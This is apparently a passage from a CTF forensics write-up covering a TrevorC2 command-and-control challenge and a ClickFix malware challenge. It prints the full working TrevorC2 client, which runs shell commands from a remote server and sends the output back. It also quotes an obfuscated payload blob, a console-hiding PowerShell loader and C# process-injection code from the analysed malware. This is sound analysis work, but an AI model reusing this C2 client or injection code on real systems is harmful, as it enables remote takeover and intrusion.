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'))
```

We can deobfuscate it with this script

```python
import re, base64, zlib, pathlib

def unpack_once(code: str) -> str | None:
    m = re.search(r"exec\(\(_\)\(b'(.+?)'\)\)\)?", code, re.S)
    if not m:
        return None

    blob = m.group(1).replace("\n", "").replace("\r", "")
    raw = base64.b64decode(blob[::-1].encode())
    dec = zlib.decompress(raw)
    return dec.decode("utf-8", errors="replace")

code = pathlib.Path("a.py").read_text(errors="replace")

outdir = pathlib.Path("layers")
outdir.mkdir(exist_ok=True)

for i in range(1, 300):
    nxt = unpack_once(code)
    if nxt is None:
        print(f"Stopped at layer {i-1}")
        (outdir / f"layer_{i-1:03d}.py").write_text(code)
        break
    code = nxt
    (outdir / f"layer_{i:03d}.py").write_text(code)
    print(f"Wrote layers/layer_{i:03d}.py ({len(code)} bytes)")

```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FA2y5Uo8rDmwac80aJtCx%2Fimage.png?alt=media&#x26;token=060f986a-b952-4469-a580-0a63b9c74029" alt=""><figcaption></figcaption></figure>

And we successfuly get the source code and solve the question.

```python
#!/usr/bin/env python
#
# TrevorC2 - legitimate looking command and control
# Written by: Dave Kennedy @HackingDave
# Website: https://www.trustedsec.com
# GIT: https://github.com/trustedsec
#
# This is the client connection, and only an example. Refer to the readme
# to build your own client connection to the server C2 infrastructure.

# CONFIG CONSTANTS:

# site used to communicate with (remote TrevorC2 site)
SITE_URL = ("http://192.168.56.104")

# THIS IS WHAT PATH WE WANT TO HIT FOR CODE - YOU CAN MAKE THIS ANYTHING EXAMPLE: /index.aspx (note you need to change this as well on trevorc2_server)
ROOT_PATH_QUERY = ("/")

# THIS FLAG IS WHERE THE CLIENT WILL SUBMIT VIA URL AND QUERY STRING GET PARAMETER
SITE_PATH_QUERY = ("/images")

# THIS IS THE QUERY STRING PARAMETER USED
QUERY_STRING = ("guid=")

# STUB FOR DATA - THIS IS USED TO SLIP DATA INTO THE SITE, WANT TO CHANGE THIS SO ITS NOT STATIC
STUB = ("oldcss=")

# time_interval is the time used between randomly connecting back to server, for more stealth, increase this time a lot and randomize time periods
time_interval1 = 2
time_interval2 = 8

# THIS IS OUR ENCRYPTION KEY - THIS NEEDS TO BE THE SAME ON BOTH SERVER AND CLIENT FOR APPROPRIATE DECRYPTION. RECOMMEND CHANGING THIS FROM THE DEFAULT KEY
CIPHER = ("aa34042ac9c17b459b93c0d49c7124ea")

# DO NOT CHANGE BELOW THIS LINE


# python 2/3 compatibility, need to move this to python-requests in future

import requests
import random
import base64
import time
import subprocess
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
import sys
import platform

# AES Support for Python2/3 - http://depado.markdownblog.com/2015-05-11-aes-cipher-with-python-3-x
class AESCipher(object):
    """
    A classical AES Cipher. Can use any size of data and any size of password thanks to padding.
    Also ensure the coherence and the type of the data with a unicode to byte converter.
    """
    def __init__(self, key):
        self.bs = 16
        self.key = hashlib.sha256(AESCipher.str_to_bytes(key)).digest()

    @staticmethod
    def str_to_bytes(data):
        u_type = type(b''.decode('utf8'))
        if isinstance(data, u_type):
            return data.encode('utf8')
        return data

    def _pad(self, s):
        return s + (self.bs - len(s) % self.bs) * AESCipher.str_to_bytes(chr(self.bs - len(s) % self.bs))

    @staticmethod
    def _unpad(s):
        return s[:-ord(s[len(s)-1:])]

    def encrypt(self, raw):
        raw = self._pad(AESCipher.str_to_bytes(raw))
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw)).decode('utf-8')

    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[:AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')



# establish cipher
cipher = AESCipher(key=CIPHER)


# random interval for communication
def random_interval(time_interval1, time_interval2):
    return random.randint(time_interval1, time_interval2)

hostname = platform.node()
req = requests.session()

def connect_trevor():
    # we need to registery our asset first
    while 1:
        time.sleep(1)
        try:
            hostname_send  = cipher.encrypt("magic_hostname=" + hostname).encode('utf-8')
            hostname_send = base64.b64encode(hostname_send).decode('utf-8')

            # pipe out stdout and base64 encode it then request via a query string parameter
            html = req.get(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + hostname_send, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text
            break

        # handle exceptions and pass if the server is unavailable, but keep going
        except Exception as error:
            # if we can't communicate, just pass
            if "Connection refused" in str(error):
                pass
            else:
                print("[!] Something went wrong, printing error: " + str(error))

connect_trevor()

# main call back here
while 1:
    try:
        time.sleep(random_interval(time_interval1, time_interval2))
        # request with specific user agent
        html = req.get(SITE_URL + ROOT_PATH_QUERY, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text

        # <!-- PARAM=bm90aGluZw== --></body> -  What we split on here on encoded site
        parse = html.split("<!-- %s" % (STUB))[1].split("-->")[0]
        parse = cipher.decrypt(parse)
        if parse == "nothing": pass
        else:
            if hostname in parse:
                parse = parse.split(hostname + "::::")[1]
                # execute our parsed command
                proc = subprocess.Popen(parse, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                stdout_value = proc.communicate()[0]
                stdout_value = cipher.encrypt(hostname + "::::" + str(stdout_value)).encode('utf-8')
                stdout_value = base64.b64encode(stdout_value).decode('utf-8')

                # pipe out stdout and base64 encode it then request via a query string parameter
                html = req.get(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + stdout_value, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text

                # sleep random interval and let cleanup on server side
                time.sleep(random_interval(time_interval1, time_interval2))

    # handle exceptions and pass if the server is unavailable, but keep going
    except Exception as error:
        # if we can't communicate, just pass
        if "Connection refused" in str(error):
            connect_trevor()
        else:
            print("[!] Something went wrong, printing error: " + str(error))

    except KeyboardInterrupt:
        print ("\n[!] Exiting TrevorC2 Client...")
        sys.exit()
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F47zHsQ1t2n4HWfDzjIIf%2Fimage.png?alt=media&#x26;token=2c2b946a-5e44-4b46-bb5b-68eeb12d4db4" alt=""><figcaption></figcaption></figure>

8. What was the first file accessed by the attacker?

Know the password, and based on the previous article in question 6, we can know the hidden command is inside the `oldcss=` and the response will send back to the C2 server use `/images?guid=` . So we can extract all the `guid=` content and `oldcss=` .

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fj5kix7mxyABbFyCLsoH3%2Fimage.png?alt=media&#x26;token=44b9a8c7-9f00-4825-ad04-fa68989ed428" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FoaW4OWQqNogV7WPjWBoZ%2Fimage.png?alt=media&#x26;token=c531c596-5e26-4ede-b452-bc603ea025f6" alt=""><figcaption></figcaption></figure>

We can save it and use python script to automate the decryption

```python
import base64
import hashlib
import subprocess

CIPHER = "aa34042ac9c17b459b93c0d49c7124ea"

def pkcs7_unpad(data: bytes, bs: int = 16) -> bytes:
    pad = data[-1]
    if pad < 1 or pad > bs or data[-pad:] != bytes([pad]) * pad:
        raise ValueError("bad padding")
    return data[:-pad]

def aes256cbc_decrypt_ivct_b64(blob_b64: str) -> bytes:
    raw = base64.b64decode(blob_b64)
    iv, ct = raw[:16], raw[16:]
    key = hashlib.sha256(CIPHER.encode()).digest()

    p = subprocess.run(
        ["openssl", "enc", "-aes-256-cbc", "-d", "-K", key.hex(), "-iv", iv.hex(), "-nopad"],
        input=ct,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    if p.returncode != 0:
        raise RuntimeError(p.stderr.decode("utf-8", "replace").strip())

    return pkcs7_unpad(p.stdout, 16)

def decrypt_oldcss(line: str) -> str:
    line = line.strip()
    if line.startswith("oldcss="):
        line = line.split("oldcss=", 1)[1].strip()
    pt = aes256cbc_decrypt_ivct_b64(line)
    return pt.decode("utf-8", "replace")

def decrypt_guid(line: str) -> str:
    line = line.strip()
    if line.startswith("guid="):
        line = line.split("guid=", 1)[1].strip()
    # guid is double-base64: outer -> inner_b64_text -> decrypt(inner)
    inner_b64 = base64.b64decode(line).decode("ascii", "replace").strip()
    pt = aes256cbc_decrypt_ivct_b64(inner_b64)
    return pt.decode("utf-8", "replace")

def read_lines(path: str):
    try:
        with open(path, "r", encoding="utf-8", errors="ignore") as f:
            for ln in f:
                ln = ln.strip()
                if not ln or ln.startswith("#"):
                    continue
                yield ln
    except FileNotFoundError:
        return

print("== Decrypting oldcss.txt ==")
for v in read_lines("oldcss.txt"):
    try:
        print(v, "->", decrypt_oldcss(v))
    except Exception as e:
        print(v, "-> ERROR:", e)

print("\n== Decrypting guids.txt ==")
for v in read_lines("guids.txt"):
    try:
        print(v, "->", decrypt_guid(v))
    except Exception as e:
        print(v, "-> ERROR:", e)
```

And based on the result, the first file accessed is `/etc/passwd`

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fm8oKBpuuXEAcnwB3jkIk%2Fimage.png?alt=media&#x26;token=de6edadd-ff36-47ca-abd8-8cb92cc0f18b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fx6TM0NIP8xmwPvBgyQrE%2Fimage.png?alt=media&#x26;token=e00b5b5a-2087-4bac-ac10-6b3c6e48e3b5" alt=""><figcaption></figcaption></figure>

9. What command or method was used by the attacker to establish persistence on the system?

From the previous screenshoot, we also know the answer.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fym3yIYLYkgfQJcVy7V3j%2Fimage.png?alt=media&#x26;token=0df574ec-d2c6-463f-9300-04c5e9b4e31d" alt=""><figcaption></figcaption></figure>

10. Which MITRE ATT\&CK technique corresponds to the persistence method used?

We can search based on what we found

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FdbO8kQYkYqXXI2LTt40I%2Fimage.png?alt=media&#x26;token=237de95e-f1fb-4cca-9e13-8635793c2bda" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FFs0GHQavm8BBXoRyyqUP%2Fimage.png?alt=media&#x26;token=8ff2b885-1011-441e-9132-6348a5ff0f2c" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{r34C725h3Ll\_f0r\_7H3\_W1n\_e59d9f62dfa2}
{% endhint %}

### FixClicked

> One of my friend's device has been compromised due to clickfix campaign. Can you investigate it further? The traffic is originally can also be retrieved from `https://any.run/report/b55419bc7529bf574b4ba57b38c501a8ce2b0cd2b3ea66d19750a7d8e0c1796f/a5abf06f-112f-4072-9535-01006c3f955c`.
>
> **WARNING**: YOU ARE ABOUT TO ANALYZE A REAL MALWARE. THIS MALWARE HAS HARMFUL CAPABILITY SO DON'T FORGET TO ANALYZE IT INSIDE THE VM. AUTHOR IS NOT RESPONSIBLE WHETHER IF THERE ARE ANY DESTRUCTIVE ACTION PERFORMED BY THIS MALWARE.
>
> author: aseng

We provide any run reports that can be analyzed to answer several questions and determine whether to raise a flag.

1. Judging from the traffic, it looks like the victim copied the powershell command to their terminal. What's the domain that preserve the malicious powershell script?

From the given report, we can click Full Analysis to see the captured processes and windows. Looking at the HTTP request, we can see that the malicious powershell.exe is connected to `http://trusteddevice.info`. This confirms our suspicions.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FEWMd7wDw3lW6RjG23Eo2%2Fimage.png?alt=media&#x26;token=6eb1c86e-06d5-4769-8293-aa198fb00a90" alt=""><figcaption></figcaption></figure>

2. It looks like the malicious powershell script is run silently without showing the console windows. What's the function name that responsible to do it?

We can click the process and see more information inside it.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FJC3FrPAjk31r1idiZE9b%2Fimage.png?alt=media&#x26;token=eee580c3-7b2e-4e1c-981e-36297bcc97e4" alt=""><figcaption></figcaption></figure>

And based on that information, we can know the function responsible is `ThsBFKNQuLtnyKgwB`

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FE3peF9taYzwVW40tGYfw%2Fimage.png?alt=media&#x26;token=a6e8880c-abfb-495b-8bcd-4d5d32831a11" alt=""><figcaption></figcaption></figure>

3. The malicious powershell script also does perform a self-decryption from an encrypted buffer from $OYBwgNyGIBxTBIKUL variable. What are the key and iv used during that process respectively? Wrap both components in hexadecimal format and underscore!

We can see the decryption process for the key and iv is by decode the base64 and xor-ing them with value `210`.

```python
import base64

b64_key = 'J84Rtq/gqJAFKgJyEGB3w1zw2asGadU+gIaa//F/u1Y='
b64_iv  = 'UXi1xdR89K9d+mMMNTnV7A=='

key_bytes = bytes([b ^ 210 for b in base64.b64decode(b64_key)])
iv_bytes  = bytes([b ^ 210 for b in base64.b64decode(b64_iv)])

key_hex = key_bytes.hex()
iv_hex = iv_bytes.hex()

print(key_hex)
print(iv_hex)
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FeqKWXVsC7f74Ptplwki2%2Fimage.png?alt=media&#x26;token=14168a8d-5867-49d5-84f0-097c7bf4d492" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FCG22fBpnG6U9UNMKmFKY%2Fimage.png?alt=media&#x26;token=69e740a2-915e-4c72-8d02-45ffb96b7ca1" alt=""><figcaption></figcaption></figure>

4. Still referring with the previous question, what's the SHA256 of the decrypted buffer? Please do answer in hexadecimal format.

In the full script that we extracted, we can change the execution to save the file.

```powershell
function pGiRkCEMbGcyjLwJg($data) {
    $TVrmgnyasqeiJbMLf = 210
    return [System.Convert]::FromBase64String($data) | ForEach-Object { $_ -bxor $TVrmgnyasqeiJbMLf }
}

function ThsBFKNQuLtnyKgwB {
    Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class JfbvQuiOOysmEVQbT {
    [DllImport("user32.dll")]
    public static extern int ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
}
"@

    $wrNdJueDvZgiogzij = [JfbvQuiOOysmEVQbT]::GetConsoleWindow()
    [JfbvQuiOOysmEVQbT]::ShowWindow($wrNdJueDvZgiogzij, 0)

    $WhVeiSKkCagTAXrEy  = pGiRkCEMbGcyjLwJg "J84Rtq/gqJAFKgJyEGB3w1zw2asGadU+gIaa//F/u1Y="
    $UzVYIFNOEeKskZXDr   = pGiRkCEMbGcyjLwJg "UXi1xdR89K9d+mMMNTnV7A=="
    $OYBwgNyGIBxTBIKUL = pGiRkCEMbGcyjLwJg "very long buffer"

    $QWOhnChpEOZSrajqi = [System.Security.Cryptography.AesManaged]::Create()
    $QWOhnChpEOZSrajqi.Mode = [System.Security.Cryptography.CipherMode]::CFB
    $QWOhnChpEOZSrajqi.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
    $QWOhnChpEOZSrajqi.Key = $WhVeiSKkCagTAXrEy
    $QWOhnChpEOZSrajqi.IV  = $UzVYIFNOEeKskZXDr

    $jtcbOLxradpVcvayz = New-Object System.IO.MemoryStream
    $jaOkAvugBZyOrAoCt = New-Object System.Security.Cryptography.CryptoStream($jtcbOLxradpVcvayz, $QWOhnChpEOZSrajqi.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
    $jaOkAvugBZyOrAoCt.Write($OYBwgNyGIBxTBIKUL, 0, $OYBwgNyGIBxTBIKUL.Length)
    $jaOkAvugBZyOrAoCt.Close()

    $zrRJblrPnyRtCsZuS = $jtcbOLxradpVcvayz.ToArray()
    $outPath = Join-Path $PWD "decrypted_payload.bin"
    [System.IO.File]::WriteAllBytes($outPath, $zrRJblrPnyRtCsZuS)

    Write-Host ("Wrote {0} bytes to {1}" -f $zrRJblrPnyRtCsZuS.Length, $outPath)

    $sha = [System.Security.Cryptography.SHA256]::Create().ComputeHash($zrRJblrPnyRtCsZuS)
    Write-Host ("SHA256: {0}" -f (($sha | ForEach-Object { $_.ToString('x2') }) -join ''))

return
    # $RjBXIXIVnMYDIDbsI = [System.Reflection.Assembly]::Load($zrRJblrPnyRtCsZuS)
    # $WIHPhPxunXCMYGzuy = $RjBXIXIVnMYDIDbsI.EntryPoint
    # $WIHPhPxunXCMYGzuy.Invoke($null, @())
}

ThsBFKNQuLtnyKgwB
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F8U6IIJsVvzMPFjrs8OKQ%2Fimage.png?alt=media&#x26;token=da333a15-a85d-4a4d-9fa0-9444d6b84fa9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FXsprmnVv4IYp42xlIBKg%2Fimage.png?alt=media&#x26;token=fc54318a-7b80-4a42-9fa6-ff8b9f67ec78" alt=""><figcaption></figcaption></figure>

5. Diving to analyze the decrypted buffer which turns out to be an obfuscated executable, there can be spotted an uncompiled CSharp code which then later to be used for a potential process injection. What's the arbitrary function's name that responsible to perform this operation?

Back to the any run, we can trace the process captured and found the uncompiled CSharp

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FfWxk9lkxfi1Wa3aJkXIx%2Fimage.png?alt=media&#x26;token=3167560b-02f7-47a7-a0fb-67aa91591ad5" alt=""><figcaption></figcaption></figure>

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

namespace AzeroPum
{
    public static class AzeroKick
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out IntPtr lpNumberOfBytesWritten
        );

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(
            IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out IntPtr lpThreadId
        );

        [DllImport("kernel32.dll")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll")]
        static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);

        [DllImport("kernel32.dll")]
        static extern bool CloseHandle(IntPtr hObject);

        [StructLayout(LayoutKind.Sequential)]
        struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct STARTUPINFO
        {
            public uint cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        public static void AzeroFloid(string path, byte[] bytes)
        {
            int controlVar = 7;
            Random rng = new Random();
            while (controlVar > 0)
            {
                switch (controlVar)
                {
                    case 7:
                        if ((DateTime.Now.Ticks % 2) == 0)
                        {
                            controlVar = 4;
                        }
                        else
                        {
                            controlVar = 5;
                        }
                        Thread.Sleep(rng.Next(20, 50));
                        break;

                    case 4:
                        if (rng.Next(0, 100) > 150)
                        {
                            controlVar = 6;
                        }
                        else
                        {
                            controlVar = 3;
                        }
                        Thread.Sleep(rng.Next(10, 30));
                        break;

                    case 5:
                        DummyOperation();
                        controlVar = 3;
                        break;

                    case 3:
                        controlVar = 2;
                        break;

                    case 2:
                        controlVar = 1;
                        break;

                    case 1:
                        controlVar = 0;
                        break;

                    default:
                        controlVar--;
                        break;
                }
            }

            STARTUPINFO si = new STARTUPINFO();
            si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO));
            PROCESS_INFORMATION pi;

            bool created = !(!CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi));
            if (!created || pi.hProcess == IntPtr.Zero)
            {
                for (int i = 0; i < 3; i++)
                {
                    Thread.Sleep(10);
                }
                return;
            }

            IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)bytes.Length, 0x3000, 0x40);
            if (addr == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            IntPtr written;
            if (!WriteProcessMemory(pi.hProcess, addr, bytes, (uint)bytes.Length, out written) || written == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            IntPtr threadId;
            IntPtr thread = CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
            if (thread == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            WaitForSingleObject(thread, 0xFFFFFFFF);

            bool terminated = TerminateProcess(pi.hProcess, 0);
            if (!terminated)
            {
                Thread.Sleep(50);
                TerminateProcess(pi.hProcess, 0);
            }

            CloseHandle(thread);
            CloseHandles(pi);
        }

        private static void CloseHandles(PROCESS_INFORMATION pi)
        {
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
        }

        private static void DummyOperation()
        {
            int x = 0;
            for (int i = 0; i < 5; i++)
            {
                x ^= i;
                x += 2;
            }
            if (x % 2 == 0)
            {
                x /= 2;
            }
        }
    }
}
```

The function that corresponds to the questions is AzeroFloid.

